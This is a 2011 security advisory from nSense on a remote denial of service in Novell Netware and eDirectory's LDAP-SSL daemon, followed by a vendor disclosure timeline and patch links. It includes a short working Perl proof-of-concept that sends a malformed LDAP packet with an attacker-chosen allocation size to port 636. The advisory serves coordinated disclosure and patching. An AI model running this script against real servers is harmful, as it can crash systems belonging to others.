69 lines
No EOL
3 KiB
Text
69 lines
No EOL
3 KiB
Text
nSense Vulnerability Research Security Advisory NSENSE-2011-002
|
|
---------------------------------------------------------------
|
|
|
|
Affected Vendor: Novell
|
|
Affected Product: Netware, eDirectory
|
|
Platform: Netware / Linux
|
|
Impact: Remote Denial of Service
|
|
Vendor response: Patch
|
|
CVE: None
|
|
Credit: Knud / nSense
|
|
|
|
Technical details
|
|
---------------------------------------------------------------
|
|
It is possible to cause a Denial of Service in Novell's
|
|
LDAP-SSL daemon due to the system blindly allocating a
|
|
user-specified amount of memory. Exploiting the issue on a
|
|
Netware system will cause a system-wide DoS condition. A script
|
|
for replicating the issue is included below:
|
|
|
|
#!/usr/bin/perl
|
|
# usage: ./novell.pl 10.0.0.1 0x41424344
|
|
use IO::Socket::SSL;
|
|
$socket = new IO::Socket::SSL(Proto=>"tcp",
|
|
PeerAddr=>$ARGV[0], PeerPort=>636);
|
|
die "unable to connect to $host:$port ($!)\n" unless $socket;
|
|
print $socket "\x30\x84" . pack("N",hex($ARGV[1])) .
|
|
"\x02\x01\x01\x60\x09\x02\x01\x03\x04\x02\x44\x4e\x80\x00" ;
|
|
close $socket; print "done\n";
|
|
|
|
|
|
Timeline:
|
|
20100819 Contacted vendor, supplied PoC
|
|
20100825 Vendor acknowledges receipt of information
|
|
20100826 Vendor creates ticket, SR # 10645215982
|
|
20100922 nSense requests status update
|
|
20100928 Vendor responds that a fix is being tested
|
|
20101109 nSense requests status update
|
|
20101112 nSense requests status update
|
|
20101112 Vendor responds, fix is still being tested
|
|
20101221 nSense requests status update
|
|
20101227 Vendor responds, patch is being built
|
|
20110124 nSense requests status update
|
|
20110127 Vendor responds, patches planned for medio feb 2011
|
|
20110320 nSense requests status update
|
|
20110329 nSense requests status update
|
|
20110329 Vendor responds, other issues discovered in code
|
|
20110409 Vendor responds, patch issued for eDirectory
|
|
20110409 nSense asks for netware patch date
|
|
20110419 nSense asks for netware patch date
|
|
20110427 nSense asks for netware patch date
|
|
20110504 Vendor responds, netware patch released
|
|
|
|
Solution
|
|
Install the vendor supplied patch.
|
|
Netware: http://download.novell.com/Download?buildid=bXPFv5btgsA~
|
|
eDirectory: http://download.novell.com/Download?buildid=-KMoN4RVaCQ~
|
|
|
|
Links:
|
|
http://www.nsense.fi http://www.nsense.dk
|
|
|
|
|
|
|
|
$$s$$$$s. ,s$$$$s ,S$$$$$s. $$s$$$$s. ,s$$$$s ,S$$$$$s.
|
|
$$$ `$$$ ($$( $$$ `$$$ $$$ `$$$ ($$( $$$ `$$$
|
|
$$$ $$$ `^$$s. $$$$$$$$$ $$$ $$$ `^$$s. $$$$$$$$$
|
|
$$$ $$$ )$$) $$$ $$$ $$$ )$$) $$$
|
|
$$$ $$$ ^$$$$$$7 `7$$$$$P $$$ $$$ ^$$$$$$7 `7$$$$$P
|
|
|
|
D r i v e n b y t h e c h a l l e n g e _ |